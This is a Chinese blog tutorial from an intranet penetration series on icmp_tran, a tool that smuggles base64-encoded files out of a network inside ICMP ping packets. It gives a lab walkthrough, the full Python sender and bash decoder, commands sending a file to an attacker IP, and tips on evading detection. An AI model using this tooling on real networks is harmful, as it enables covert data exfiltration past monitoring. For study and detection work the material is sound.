当前位置:网站首页>内网渗透系列:内网隧道之icmp_tran
内网渗透系列:内网隧道之icmp_tran
2022-04-23 06:30:00 【思源湖的鱼】
目录
前言
本文研究ICMP隧道的一个工具,icmp_tran
github:github.com/NotSoSecure/icmp_tunnel_ex_filtrate
一、概述
1、简介
最后更新于2015年,用Python编写,将文件base64编码后,通过ICMP包传输
条件:
- 目标机可以ping出去
- 目标机管理员权限
2、原理
ICMP隧道原理参见:内网渗透系列:内网隧道之ICMP隧道
3、使用
(1)服务端
tucpdump监听并下载文件
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
运行sh脚本
./tran.sh
(2)客户端
windows
icmp_tran.exe <file> <attacker-IP>
linux
sudo python icmp_tran.py <file> <attacker-IP>
二、实践
1、场景
攻击机(服务端):kali 192.168.10.128
目标机(客户端):ubuntu 192.168.10.129
目标机可以ping通攻击机

2、建立隧道
(1)攻击机监听
tucpdump监听并下载文件
sudo tcpdump -i eth0 icmp and icmp[icmptype]=icmp-echo -XX -vvv -w output.txt
(2)目标机发送
准备一个test.zip文件

建立隧道发送
sudo python icmp_tran.py test.zip 192.168.10.128
(3)攻击机转换
收到文件

进行转换

成功得到zip文件

3、抓包看看
可以看到都是ICMP包,data里是base64编码

三、探索
1、源码与分析
(1)icmp_tran.py
#!/usr/bin/env python2
# -*- coding: utf-8 -*-
import time
import socket
import struct
import select
import random
import asyncore
import os
import sys
ICMP_ECHO_REQUEST = 8
TIME_OUT = 1 #时长视情况而定
ICMP_CODE = socket.getprotobyname('icmp')
ERROR_DESCR = {
1: ' - Note that ICMP messages can only be sent from processes running as root.',
10013: ' - Note that ICMP messages can only be sent by users or processes with administrator rights.'
}
__all__ = ['create_packet', 'send_packet', 'verbose_ping', 'PingQuery', 'multi_ping_query']
def checksum(source_string):
sum = 0
count_to = (len(source_string) / 2) * 2
count = 0
while count < count_to:
this_val = ord(source_string[count + 1])*256+ord(source_string[count])
sum = sum + this_val
sum = sum & 0xffffffff
count = count + 2
if count_to < len(source_string):
sum = sum + ord(source_string[len(source_string) - 1])
sum = sum & 0xffffffff
sum = (sum >> 16) + (sum & 0xffff)
sum = sum + (sum >> 16)
answer = ~sum
answer = answer & 0xffff
answer = answer >> 8 | (answer << 8 & 0xff00)
return answer
def create_packet(id):
"""构建一个echo request packet"""
# header的构造是type (8), code (8), checksum (16), id (16), sequence (16)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, 0, id, 1)
data = "$$START$$"+line
my_checksum = checksum(header + data)
header = struct.pack('bbHHh', ICMP_ECHO_REQUEST, 0, socket.htons(my_checksum), id, 1)
return header + data
def send_packet(dest_addr, timeout=TIME_OUT):
# 确认能发送
try:
my_socket = socket.socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR: # 不是高权限
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
try:
host = socket.gethostbyname(dest_addr) # host
except socket.gaierror:
return
# 创建packet
packet_id = int((id(timeout) * random.random()) % 65535)
packet = create_packet(packet_id)
# 发送packet
while packet:
sent = my_socket.sendto(packet, (dest_addr, 1))
packet = packet[sent:]
delay = receive_packet(my_socket, packet_id, time.time(), timeout)
my_socket.close()
return delay
def receive_packet(my_socket, packet_id, time_sent, timeout):
time_left = timeout
while True:
ready = select.select([my_socket], [], [], time_left)
if ready[0] == []: # Timeout
return
time_received = time.time()
rec_packet, addr = my_socket.recvfrom(1024)
icmp_header = rec_packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack('bbHHh', icmp_header)
if p_id == packet_id:
return time_received - time_sent
time_left -= time_received - time_sent
if time_left <= 0:
return
def verbose_ping(dest_addr, timeout=2*TIME_OUT, count=1):
for i in range(count):
print('ping {}...'.format(dest_addr))
delay = send_packet(dest_addr, timeout)
if delay == None:
print('failed. (Timeout within {} seconds.)'.format(timeout))
else:
delay = round(delay * 1000.0, 4)
print('get ping in {} milliseconds.'.format(delay))
print('')
class PingQuery(asyncore.dispatcher):
def __init__(self, host, p_id, timeout=0.5, ignore_errors=False):
asyncore.dispatcher.__init__(self)
try:
self.create_socket(socket.AF_INET, socket.SOCK_RAW, ICMP_CODE)
except socket.error as e:
if e.errno in ERROR_DESCR:
raise socket.error(''.join((e.args[1], ERROR_DESCR[e.errno])))
raise
self.time_received = 0
self.time_sent = 0
self.timeout = timeout
self.packet_id = int((id(timeout) / p_id) % 65535)
self.host = host
self.packet = create_packet(self.packet_id)
if ignore_errors:
self.handle_error = self.do_not_handle_errors
self.handle_expt = self.do_not_handle_errors
def writable(self):
return self.time_sent == 0
def handle_write(self):
self.time_sent = time.time()
while self.packet:
sent = self.sendto(self.packet, (self.host, 1))
self.packet = self.packet[sent:]
def readable(self):
if (not self.writable()
and self.timeout < (time.time() - self.time_sent)):
self.close()
return False
return not self.writable()
def handle_read(self):
read_time = time.time()
packet, addr = self.recvfrom(1024)
header = packet[20:28]
type, code, checksum, p_id, sequence = struct.unpack("bbHHh", header)
if p_id == self.packet_id:
self.time_received = read_time
self.close()
def get_result(self):
if self.time_received > 0:
return self.time_received - self.time_sent
def get_host(self):
return self.host
def do_not_handle_errors(self):
pass
def create_socket(self, family, type, proto):
sock = socket.socket(family, type, proto)
sock.setblocking(0)
self.set_socket(sock)
self.family_and_type = family, type
def handle_connect(self):
pass
def handle_accept(self):
pass
def handle_close(self):
self.close()
def multi_ping_query(hosts, timeout=TIME_OUT, step=512, ignore_errors=False):
results, host_list, id = {
}, [], 0
for host in hosts:
try:
host_list.append(socket.gethostbyname(host))
except socket.gaierror:
results[host] = None
while host_list:
sock_list = []
for ip in host_list[:step]: #step最多是512
id += 1
sock_list.append(PingQuery(ip, id, timeout, ignore_errors))
host_list.remove(ip)
asyncore.loop(timeout)
for sock in sock_list:
results[sock.get_host()] = sock.get_result()
return results
if __name__ == '__main__':
msg = 'missing mandatory options. Execute as root:\n'
msg += './icmpsh-m.py <source IP address> <destination IP address>\n'
print(msg)
file=sys.argv[1]
destination = sys.argv[2]
# os.system("certutil -encode "+ file +" test.txt") # windows
os.system("base64 "+ file +" > test.txt") # linux
f=open("test.txt", "r")
for line in f:
text1= line[0:32]
verbose_ping(destination)
host_list = [destination]
for host, ping in multi_ping_query(host_list).iteritems():
print(host, '=', ping)
(2)tran.sh
就是base64解码得到文件
#!/bin/bash
strings output.txt >> output1.txt
echo "[+] parsing the output.txt file"
grep -i start output1.txt | uniq >> transmitted.txt
sed -i -e 's/\$\$START\$\$//g' transmitted.txt
echo "[+] cleaning"
rm output1.txt
rm output.txt
echo "[+] tranmistted.txt created"
cat transmitted.txt |base64 -d >>test
echo "[+] file test created"
2、检测与绕过
(1)异常ICMP数据包数量
0.01s内10个包,当然这是没有做相关策略,可以改为和ping一样的间隔,主要是这是传个文件就结束了,所以maybe可以天下武功唯快不破,视情况而定

(2)异常ICMP包长度
已经做了拆分
(3)payload内容
payload内容这个还是没办法避免的事情
正常ping命令:
windows系统下ping默认传输的是:abcdefghijklmnopqrstuvwabcdefghi,共32bytes
linux系统下,ping默认传输的是48bytes,前8bytes随时间变化,后面的固定不变,内容为!”#$%&’()+,-./01234567
内容肯定还是与正常ping命令不同
不过send和receive的内容相同
结语
简单试下怎么传文件
版权声明
本文为[思源湖的鱼]所创,转载请带上原文链接,感谢
https://fishpond.blog.csdn.net/article/details/118999155
边栏推荐
猜你喜欢

Robust and Efficient Quadrotor Trajectory Generation for Fast Autonomous Flight

Mongodb starts warning information processing

TA notes of Zhuang understand (VII) < Lambert + Phong + shadow + 3evcolor + Ao >

MySQL8.0 安装/卸载 教程【Window10版】

平面定义-平面方程

三分钟教你用Houdini流体>>解算粒子流体水滴

Common markdown grammar learning

《内网安全攻防:渗透测试实战指南》读书笔记(八):权限维持分析及防御

Houdini > rigid body, rigid body breaking RBD

Understanding the Role of Individual Units in a Deep Neural Networks(了解各个卷积核在神经网络中的作用)
随机推荐
三分钟教你用Houdini流体>>解算粒子流体水滴
Mongodb starts warning information processing
Houdini地形与流体解算(模拟泥石流)
Online Safe Trajectory Generation For Quadrotors Using Fast Marching Method and Bernstein Basis Poly
Complete color conversion formulas and conversion tables (31 kinds)
ES6使用递归实现深拷贝
Nodejs (four) character reading
Using lambda expression to solve the problem of C file name sorting (whether it is 100 or 11)
【NLP笔记】CRF原理初探
Suggestions on university learning route planning
Scrapy 修改爬虫结束时统计数据中的时间为当前系统时间
快速排序
How does Apache Hudi accelerate traditional batch mode?
Enterprise wechat login free jump self built application
Index locked data cannot be written to es problem handling
03use of scanner class (console input)
[NLP notes] preliminary study on CRF principle
Nodejs (II) read files synchronously and asynchronously
C # control the camera, rotate and drag the observation script (similar to scenes observation mode)
VBA调用SAP RFC实现数据读取&写入